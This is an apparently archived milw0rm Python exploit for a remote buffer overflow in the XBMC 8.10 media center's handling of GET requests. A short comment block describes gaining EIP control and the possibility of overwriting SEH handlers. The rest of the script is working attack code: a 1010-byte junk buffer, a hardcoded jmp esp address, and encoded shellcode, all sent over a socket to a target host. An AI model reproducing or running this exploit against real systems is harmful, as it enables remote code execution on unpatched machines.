477bcbdcc0
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95 lines
3.3 KiB
Python
Executable file
95 lines
3.3 KiB
Python
Executable file
#!/usr/bin/env python
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'''
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Xbmc get request remote buffer overflow 8.10 !!!
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Tested:Win xp sp2 eng
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Vendor url:http://xbmc.org/
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Release date:April the 1st 2009
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versions affected:
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Linux windows < tested
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other versions are also possibly affected.
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Restrictions:Bad chars need to be filtered.
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This exploit happens when parsing and overly long
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get request.We can gain control of the $eip register
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the next 4bytes of our user supplied data is copied into
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$esp register.
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The 3 buffer overflows i found in xbmc have nothing in
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common they are 3 separate overflow.Please see poc code
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for further analysis.
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I tried to evade the filtering when passing the shell code
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by loading it into the other fields that where available.
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We are able to overwrite the exception handlers also so
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creating a reliable exploit for vista and xps3 shouldn't
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be to hard have a look there are some modules loaded with
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out /safe seh.
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Credits to n00b for finding the buffer overflow and writing
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poc code and exploit.
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----------
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Disclaimer
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----------
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The information in this advisory and any of its
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demonstrations is provided "as is" without any
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warranty of any kind.
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I am not liable for any direct or indirect damages
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caused as a result of using the information or
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demonstrations provided in any part of this advisory.
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Educational use only..!!
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'''
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import sys, socket
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import struct
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port = 80
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host = sys.argv[1]
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Junk_buffer = 'A'*1010
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Jump_esp = struct.pack('<L',0x77F84143)
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Shell_code=(
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"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
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"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
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"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
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"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
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"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
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"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"
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"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
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"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
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"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
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"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
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"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
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"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"
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"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
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"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
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"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"
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"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
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"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
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"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"
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"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
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"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"
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"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
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"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a"
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)
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# create a socket object called 'c'
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c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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# connect to the socket
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c.connect((host, port))
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Request = (Junk_buffer + Jump_esp + Shell_code)
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# create a file-like object to read
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fileobj = c.makefile('r', 0)
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# Ask the server for the file
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fileobj.write("GET /"+Request+" HTTP/1.1\n\n")
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# milw0rm.com [2009-04-01]
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